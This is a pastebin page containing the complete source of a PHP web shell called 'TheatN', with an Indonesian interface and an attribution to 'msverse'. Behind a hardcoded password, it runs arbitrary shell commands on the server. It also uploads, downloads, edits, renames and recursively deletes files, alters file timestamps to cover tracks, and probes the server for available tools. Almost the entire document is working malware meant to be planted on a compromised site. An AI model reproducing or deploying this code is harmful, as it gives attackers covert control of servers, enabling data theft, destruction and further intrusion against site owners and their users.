Untitled

From Anonymous, 5 Days ago, written in Plain Text, viewed 1 times.
URL http://minetest.wjake.com/stikked/view/ec29c14d Embed
Download Paste or View Raw
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5.  
  6. // Password MD5
  7. $md5_password = md5("msverse");
  8.  
  9. if (isset($_POST['password'])) {
  10.     if (md5($_POST['password']) === $md5_password) {
  11.         $_SESSION['loggedin'] = true;
  12.     } else {
  13.         $error = "Password salah!";
  14.     }
  15. }
  16.  
  17. if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
  18.     ?>
  19.     <!DOCTYPE html>
  20.     <html lang="en">
  21.        
  22.     <head>
  23.         <meta charset="UTF-8">
  24.         <title>TheatN</title>
  25.         <style>
  26.             body {
  27.                 font-family: Arial, sans-serif;
  28.                 background-color: #2e2e2e;
  29.                 color: #ffffff;
  30.                 display: flex;
  31.                 justify-content: center;
  32.                 align-items: center;
  33.                 height: 70vh;
  34.             }
  35.             .login-container {
  36.                 background-color: #333333;
  37.                 padding: 15px;
  38.                 border-radius: 5px;
  39.                 box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
  40.                 display: grid;
  41.                 place-items: center;
  42.                 height: 9vh;
  43.             }
  44.             .login-container h2 {
  45.                 margin-bottom: 20px;
  46.                 display: grid;
  47.                 place-items: center;
  48.                 height: 2vh;
  49.             }
  50.             .login-container input[type="password"] {
  51.                 width: 86%;
  52.                 padding: 5px;
  53.                 margin: 5px 0;
  54.                 border: none;
  55.                 border-radius: 4px;
  56.             }
  57.             .login-container input[type="submit"] {
  58.                 width: 90%;
  59.                 padding: 10px;
  60.                 background-color: #4CAF50;
  61.                 border: none;
  62.                 color: white;
  63.                 border-radius: 4px;
  64.                 cursor: pointer;
  65.             }
  66.             .login-container input[type="submit"]:hover {
  67.                 background-color: #45a049;
  68.             }
  69.             .error {
  70.                 color: #f44336;
  71.                 margin-top: 10px;
  72.             }
  73.         </style>
  74.     </head>
  75.     <body>
  76.         <div class="login-container">
  77.             <h2>Welcome</h2>
  78.             <form method="POST">
  79.                 <input type="password" name="password" placeholder="Password" required>
  80.                 <input type="submit" value="Login">
  81.             </form>
  82.             <footer>
  83.             <p>Copyright by <a href="https://msversee.blogspot.com/">msverse</a> 2024</p>
  84.             </footer>
  85.             <?php
  86.             if (isset($error)) {
  87.                 echo '<div class="error">' . $error . '</div>';
  88.             }
  89.             ?>
  90.         </div>
  91.     </body>
  92.     </html>
  93.     <?php
  94.     exit;
  95. }
  96. ?>
  97. <?php
  98. error_reporting(0);
  99. set_time_limit(0);
  100.  
  101. function perms($file) {
  102.     $perms = fileperms($file);
  103.  
  104.     switch ($perms & 0xF000) {
  105.         case 0xC000: // socket
  106.             $info = 's';
  107.             break;
  108.         case 0xA000: // symbolic link
  109.             $info = 'l';
  110.             break;
  111.         case 0x8000: // regular
  112.             $info = '-';
  113.             break;
  114.         case 0x6000: // block special
  115.             $info = 'b';
  116.             break;
  117.         case 0x4000: // directory
  118.             $info = 'd';
  119.             break;
  120.         case 0x2000: // character special
  121.             $info = 'c';
  122.             break;
  123.         case 0x1000: // FIFO pipe
  124.             $info = 'p';
  125.             break;
  126.         default: // unknown
  127.             $info = 'u';
  128.     }
  129.  
  130.     // Owner
  131.     $info .= (($perms & 0x0100) ? 'r' : '-');
  132.     $info .= (($perms & 0x0080) ? 'w' : '-');
  133.     $info .= (($perms & 0x0040) ?
  134.         (($perms & 0x0800) ? 's' : 'x') :
  135.         (($perms & 0x0800) ? 'S' : '-'));
  136.  
  137.     // Group
  138.     $info .= (($perms & 0x0020) ? 'r' : '-');
  139.     $info .= (($perms & 0x0010) ? 'w' : '-');
  140.     $info .= (($perms & 0x0008) ?
  141.         (($perms & 0x0400) ? 's' : 'x') :
  142.         (($perms & 0x0400) ? 'S' : '-'));
  143.  
  144.     // World
  145.     $info .= (($perms & 0x0004) ? 'r' : '-');
  146.     $info .= (($perms & 0x0002) ? 'w' : '-');
  147.     $info .= (($perms & 0x0001) ?
  148.         (($perms & 0x0200) ? 't' : 'x') :
  149.         (($perms & 0x0200) ? 'T' : '-'));
  150.  
  151.     return $info;
  152. }
  153.  
  154. if (isset($_GET['path'])) {
  155.     $path = $_GET['path'];
  156. } else {
  157.     $path = getcwd();
  158. }
  159. $path = str_replace('\\', '/', $path);
  160. $paths = explode('/', $path);
  161.  
  162. if (isset($_FILES['files'])) {
  163.     foreach ($_FILES['files']['tmp_name'] as $key => $tmp_name) {
  164.         $name = $_FILES['files']['name'][$key];
  165.         $tmp_name = $_FILES['files']['tmp_name'][$key];
  166.         if (move_uploaded_file($tmp_name, "$path/$name")) {
  167.             echo "Upload Berhasil: $name<br/>";
  168.         } else {
  169.             echo "Upload Gagal: $name<br/>";
  170.         }
  171.     }
  172. }
  173.  
  174. if (isset($_GET['download'])) {
  175.     $file = $_GET['download'];
  176.     if (file_exists($file)) {
  177.         header('Content-Description: File Transfer');
  178.         header('Content-Type: application/octet-stream');
  179.         header('Content-Disposition: attachment; filename=' . basename($file));
  180.         header('Content-Length: ' . filesize($file));
  181.         flush();
  182.         readfile($file);
  183.         exit;
  184.     }
  185. }
  186.  
  187. if (isset($_POST['delete'])) {
  188.     $delete_path = $_POST['delete'];
  189.     if (is_dir($delete_path)) {
  190.         $files = new RecursiveIteratorIterator(
  191.             new RecursiveDirectoryIterator($delete_path, RecursiveDirectoryIterator::SKIP_DOTS),
  192.             RecursiveIteratorIterator::CHILD_FIRST
  193.         );
  194.  
  195.         foreach ($files as $fileinfo) {
  196.             $todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
  197.             $todo($fileinfo->getRealPath());
  198.         }
  199.         rmdir($delete_path);
  200.     } else {
  201.         unlink($delete_path);
  202.     }
  203. }
  204.  
  205. if (isset($_POST['rename'])) {
  206.     $old_name = $_POST['old_name'];
  207.     $new_name = $_POST['new_name'];
  208.     if (rename($old_name, $new_name)) {
  209.         echo "Rename berhasil<br/>";
  210.     } else {
  211.         echo "Rename gagal<br/>";
  212.     }
  213. }
  214.  
  215. if (isset($_POST['edit'])) {
  216.     $file_path = $_POST['file_path'];
  217.     $content = $_POST['content'];
  218.     if (file_put_contents($file_path, $content)) {
  219.         echo "Edit file berhasil<br/>";
  220.     } else {
  221.         echo "Edit file gagal<br/>";
  222.     }
  223. }
  224.  
  225. if (isset($_POST['change_time'])) {
  226.     $file_path = $_POST['file_path'];
  227.     $new_time = strtotime($_POST['new_time']);
  228.     if (touch($file_path, $new_time, $new_time)) {
  229.         echo "Waktu file berhasil diubah<br/>";
  230.     } else {
  231.         echo "Gagal mengubah waktu file<br/>";
  232.     }
  233. }
  234. ?>
  235.  
  236. <!DOCTYPE html>
  237. <html lang="en">
  238. <head>
  239.     <meta charset="UTF-8">
  240.     <title>TheatN</title>
  241. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  242.     <style>
  243.         @font-face {
  244.             font-family: 'Pure Heart';
  245.             src: url('https://raw.githubusercontent.com/MSVerse/TheatN/master/PureHeart-Regular.ttf') format('truetype');          
  246.         }
  247.         body {
  248.             font-family: Arial, sans-serif;
  249.             background: url(https://i.ibb.co.com/yY8pFD5/anime-girl-pink-hair-tongue-out-4k-wallpaper-uhdpaper-com-218-3-a.jpg) no-repeat center center fixed;        
  250.         }
  251.         h1 {
  252.             font-family: 'Pure Heart', Arial, sans-serif;
  253.             font-size: 50px;
  254.             display: grid;
  255.             place-items: center;
  256.             height: 3vh;
  257.         }
  258.         table {
  259.             width: 100%;
  260.             border-collapse: collapse;
  261.         }
  262.         table, th, td {
  263.             border: 1px solid;
  264.         }
  265.         th, td {
  266.             padding: 8px;
  267.             text-align: left;
  268.         }
  269.         a {
  270.             color: #4CAF50;
  271.             text-decoration: none;
  272.         }
  273.         a:hover {
  274.             text-decoration: underline;
  275.         }
  276.         .button {
  277.             background-color: #4CAF50;
  278.             border: none;
  279.             color: white;
  280.             padding: 10px 20px;
  281.             text-align: center;
  282.             text-decoration: none;
  283.             display: inline-block;
  284.             font-size: 16px;
  285.             margin: 4px 2px;
  286.             cursor: pointer;
  287.         }
  288.         .button-red {
  289.             background-color: #f44336;
  290.         }
  291.         .fiture {
  292.         margin: 5px;
  293.         }
  294.        
  295.         .text-center {
  296.         text-align: center;
  297.         }
  298.        
  299.         .text-white {
  300.         color: white;
  301.         }
  302.        
  303.         .d-flex {
  304.         display: flex;
  305.         }
  306.        
  307.         .justify-content-center {
  308.         justify-content: center;
  309.         }
  310.        
  311.         .flex-wrap {
  312.         flex-wrap: wrap;
  313.         }
  314.        
  315.         .form-control {
  316.         width: 100%;
  317.         padding: 10px;
  318.         margin: 10px 0;
  319.         border: none;
  320.         border-radius: 4px;
  321.         background-color: #2e2e2e;
  322.         color: #ffffff;
  323.         }
  324.        
  325.         hr {
  326.         border: 1px solid #4CAF50;
  327.         }
  328.        
  329.         hr.divider {
  330.         margin: 20px 0;
  331.         }
  332.        
  333.         .col-lg-8 {
  334.         max-width: 800px;
  335.         margin: auto;
  336.         }
  337.        
  338.         .btn {
  339.         border-radius: 4px;
  340.         padding: 10px 20px;
  341.         font-size: 14px;
  342.         color: #ffffff;
  343.         text-decoration: none;
  344.         display: inline-block;
  345.         margin: 5px;
  346.         }
  347.        
  348.         .btn-danger {
  349.         background-color: #f44336;
  350.         }
  351.        
  352.         .btn-warning {
  353.         background-color: #ff9800;
  354.         }
  355.        
  356.         .btn-sm {
  357.         padding: 5px 10px;
  358.         font-size: 12px;
  359.         }
  360.     </style>
  361. </head>
  362. <body>
  363. <?php
  364.         function exe($cmd) {
  365.                 if(function_exists('system')) {
  366.                         @ob_start();
  367.                         @system($cmd);
  368.                         $buff = @ob_get_contents();
  369.                         @ob_end_clean();
  370.                         return $buff;
  371.                 } elseif(function_exists('exec')) {
  372.                         @exec($cmd,$results);
  373.                         $buff = "";
  374.                         foreach($results as $result) {
  375.                                 $buff .= $result;
  376.                         } return $buff;
  377.                 } elseif(function_exists('passthru')) {
  378.                         @ob_start();
  379.                         @passthru($cmd);
  380.                         $buff = @ob_get_contents();
  381.                         @ob_end_clean();
  382.                         return $buff;
  383.                 } elseif(function_exists('shell_exec')) {
  384.                         $buff = @shell_exec($cmd);
  385.                         return $buff;
  386.                 }
  387.         }
  388. $os = php_uname();
  389. $ip = gethostbyname($_SERVER['HTTP_HOST']);
  390. $ver = phpversion();
  391. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
  392. $ds = @ini_get("disable_functions");
  393. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  394. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  395. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  396. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  397. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  398. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  399. $total = formatSize(disk_total_space($path));
  400. $free = formatSize(disk_free_space($path));
  401. $total1 = disk_total_space($path);
  402. $free1 = disk_free_space($path);
  403. $used = formatSize($total1 - $free1);
  404.  
  405. function formatSize($bytes) {
  406.     $types = array('B', 'KB', 'MB', 'GB', 'TB');
  407.     for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
  408.     return round($bytes, 2) . " " . $types[$i];
  409. }
  410. ?>
  411. <h1>T h e a t N</h1>
  412. <table>
  413.     <tr>
  414.         <td><i class="fa fa-code"></i> PHP</td>
  415.         <td> : <?php echo $ver; ?></td>
  416.     </tr>
  417.     <tr>
  418.         <td><i class="fa fa-server"></i> IP Server</td>
  419.         <td> : <?php echo $ip; ?></td>
  420.     </tr>
  421.     <tr>
  422.         <td><i class="fa fa-hdd"></i> HDD</td>
  423.         <td>Total : <?php echo $total; ?> <br/> Free : <?php echo $free; ?> [<?php echo $used; ?>]</td>
  424.     </tr>
  425.     <tr>
  426.        <p><strong>Safe Mode:</strong> <?php echo $sm; ?> | <strong>Disable Functions:</strong> <?php echo $show_ds; ?></p>
  427.     </tr>
  428.     <tr>
  429.        <p><strong>MySQL:</strong> <?php echo $mysql; ?> | <strong>Python:</strong> <?php echo $python; ?> | <strong>Perl:</strong> <?php echo $perl; ?> | <strong>Wget:</strong> <?php echo $wget; ?> | <strong>cURL:</strong> <?php echo $curl; ?></p>  
  430.     </tr>
  431.     <tr>
  432.         <td><i class="fa fa-desktop"></i> Sistem Operasi</td>
  433.         <td> : <?php echo $os; ?></td>
  434.     </tr>
  435. <tr>
  436.     <td><i class="fa fa-map"></i> Map</td>
  437.     <td>:
  438.         <?php
  439.         foreach ($paths as $id => $pat) {
  440.             if ($pat == '' && $id == 0) {
  441.                 echo '<a href="?path=/">/</a>';
  442.                 continue;
  443.             }
  444.             if ($pat == '') continue;
  445.             echo '<a href="?path=';
  446.             for ($i = 0; $i <= $id; $i++) {
  447.                 echo "$paths[$i]";
  448.                 if ($i != $id) echo "/";
  449.             }
  450.             echo '">' . $pat . '</a>/';
  451.         }
  452.         ?>
  453.     </td>
  454. </tr>
  455. </table>
  456.  
  457. <?php
  458. echo '
  459. <hr>
  460. <div class="text-center">
  461.     <div class="d-flex justify-content-center flex-wrap">
  462.         <a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>
  463.         <a href="?path='.$path.'&go=terminal" class="fiture btn btn-danger btn-sm"><i class="fa fa-terminal"></i> Terminal</a>
  464.         <a href="?disclaimer" class="fiture btn btn-warning btn-sm"><i class="fa fa-info"></i> Disclaimer</a>
  465.         <a href="?keluar" class="fiture btn btn-warning btn-sm"><i class="fa fa-sign-out"></i> Exit</a>
  466.     </div>
  467. </div>
  468. <div class="col-lg-8"><hr/>';
  469.  
  470. //cmd
  471. if ($_GET['go'] == 'terminal') {
  472.     echo '<h5><i class="fa fa-terminal"></i> : ~$</h5>
  473.     <form>
  474.         <input type="text" class="form-control" name="cmd" autocomplete="off" placeholder="id | uname -a | whoami | pwd">
  475.     </form>';
  476. }
  477. if (isset($_GET['cmd'])) {
  478.     echo "<pre>";
  479.     echo system($_GET['cmd']);
  480.     echo "</pre>";
  481.     exit;
  482. }
  483.  
  484. //keluar
  485. if (isset($_GET['keluar'])) {
  486.     session_start();
  487.     session_destroy();
  488.     echo '<script>window.location="?";</script>';
  489. }
  490.  
  491. //about
  492. if (isset($_GET['disclaimer'])) {
  493.     echo '<center><h3>TheatN</h3></center><br>Segala tindakan dan aktivitas yang berkaitan dengan materi yang terdapat dalam alat ini sepenuhnya menjadi tanggung jawab <b>Anda</b>. Pengembang tidak bertanggung jawab atas segala kerugian atau kerusakan yang disebabkan oleh penyalahgunaan informasi dalam alat ini yang dapat berakibat pada tuntutan pidana yang diajukan terhadap orang yang bersangkutan.<br><br>Note: Modifikasi atau perubahan pada kode ini diperbolehkan, namun rilis publik yang menggunakan kode ini harus disetujui oleh penulis alat ini (<a href="https://msversee.blogspot.com/">msverse</a>)';
  494.     exit;
  495. }
  496. ?>
  497.     <form enctype="multipart/form-data" method="POST">
  498.         <input type="file" name="files[]" multiple>
  499.         <input type="submit" value="Upload">
  500.     </form>    
  501.     <?php
  502.     if (isset($_GET['filesrc'])) {
  503.         $file = $_GET['filesrc'];
  504.         echo "<h2>Melihat File: " . htmlspecialchars(basename($file)) . "</h2>";
  505.         echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
  506.     } elseif (isset($_GET['edit'])) {
  507.         $file = $_GET['edit'];
  508.         echo "<h2>Mengedit File: " . htmlspecialchars(basename($file)) . "</h2>";
  509.         echo '<form method="POST">
  510.             <textarea name="content" rows="20" cols="80">' . htmlspecialchars(file_get_contents($file)) . '</textarea><br/>
  511.             <input type="hidden" name="file_path" value="' . $file . '">
  512.             <input type="submit" name="edit" value="Save">
  513.         </form>';
  514.     } else {
  515.         echo '<table>';
  516.         echo '<tr><th>Name</th><th>Size</th><th>Permission</th><th>Last Modified</th><th>Creation Time</th><th>Action</th></tr>';
  517.  
  518.         $scandir = scandir($path);
  519.         foreach ($scandir as $dir) {
  520.             if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  521.             echo '<tr>
  522.                 <td><i class="fa fa-folder"></i> <a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
  523.                 <td><center>--</center></td>
  524.                 <td><center>';
  525.             if (is_writable("$path/$dir")) echo '<font color="lime">';
  526.             elseif (!is_readable("$path/$dir")) echo '<font color="red">';
  527.             echo perms("$path/$dir");
  528.             if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  529.             echo '</center></td>
  530.                 <td><center>' . date("d-M-Y H:i", filemtime("$path/$dir")) . '</center></td>
  531.                 <td><center>' . date("Y-m-d H:i:s", filectime("$path/$dir")) . '</center></td>
  532.                 <td><center>
  533.                     <form method="POST" style="display:inline;">
  534.                         <input type="hidden" name="delete" value="' . "$path/$dir" . '">
  535.                         <input type="submit" value="D" class="button button-red">
  536.                     </form>
  537.                     <form method="POST" style="display:inline;">
  538.                         <input type="hidden" name="old_name" value="' . "$path/$dir" . '">
  539.                         <input type="text" name="new_name" placeholder="Nama Baru">
  540.                         <input type="submit" name="rename" value="R" class="button">
  541.                     </form>
  542.                 </center></td>
  543.             </tr>';
  544.         }
  545.  
  546.         foreach ($scandir as $file) {
  547.             if (!is_file("$path/$file")) continue;
  548.             $size = filesize("$path/$file") / 1024;
  549.             $size = round($size, 3);
  550.             if ($size >= 1024) {
  551.                 $size = round($size / 1024, 2) . ' MB';
  552.             } else {
  553.                 $size = $size . ' KB';
  554.             }
  555.             echo '<tr>
  556.                 <td><i class="fa fa-file"></i> <a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
  557.                 <td><center>' . $size . '</center></td>
  558.                 <td><center>';
  559.             if (is_writable("$path/$file")) echo '<font color="lime">';
  560.             elseif (!is_readable("$path/$file")) echo '<font color="red">';
  561.             echo perms("$path/$file");
  562.             if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  563.             echo '</center></td>
  564.                 <td><center>' . date("d-M-Y H:i", filemtime("$path/$file")) . '</center></td>
  565.                 <td><center>' . date("Y-m-d H:i:s", filectime("$path/$file")) . '</center></td>
  566.                 <td><center>
  567.                     <form method="POST" style="display:inline;">
  568.                         <input type="hidden" name="delete" value="' . "$path/$file" . '">
  569.                         <input type="submit" value="D" class="button button-red">
  570.                     </form>
  571.                     <form method="POST" style="display:inline;">
  572.                         <input type="hidden" name="old_name" value="' . "$path/$file" . '">
  573.                         <input type="text" name="new_name" placeholder="Nama Baru">
  574.                         <input type="submit" name="rename" value="R" class="button">
  575.                     </form>
  576.                     <form method="GET" style="display:inline;">
  577.                         <input type="hidden" name="edit" value="' . "$path/$file" . '">
  578.                         <input type="submit" value="E" class="button">
  579.                     </form>
  580.                     <form method="POST" style="display:inline;">
  581.                         <input type="hidden" name="file_path" value="' . "$path/$file" . '">
  582.                         <input type="text" name="new_time" placeholder="Waktu Baru (Y-m-d H:i:s)">
  583.                         <input type="submit" name="change_time" value="T" class="button">
  584.                     </form>
  585.                     <a href="?download=' . $path . '/' . $file . '" class="button">D</a>
  586.                 </center></td>
  587.             </tr>';
  588.         }
  589.         echo '</table>';
  590.     }
  591.     ?>  
  592.     <footer>
  593.     <p><i class="fa fa-copyright"></i> Copyright by <a href="https://msversee.blogspot.com/">msverse</a> 2024</p>
  594.     </footer>
  595. </body>
  596. </html>
  597.  

Reply to "Untitled"

Here you can reply to the paste above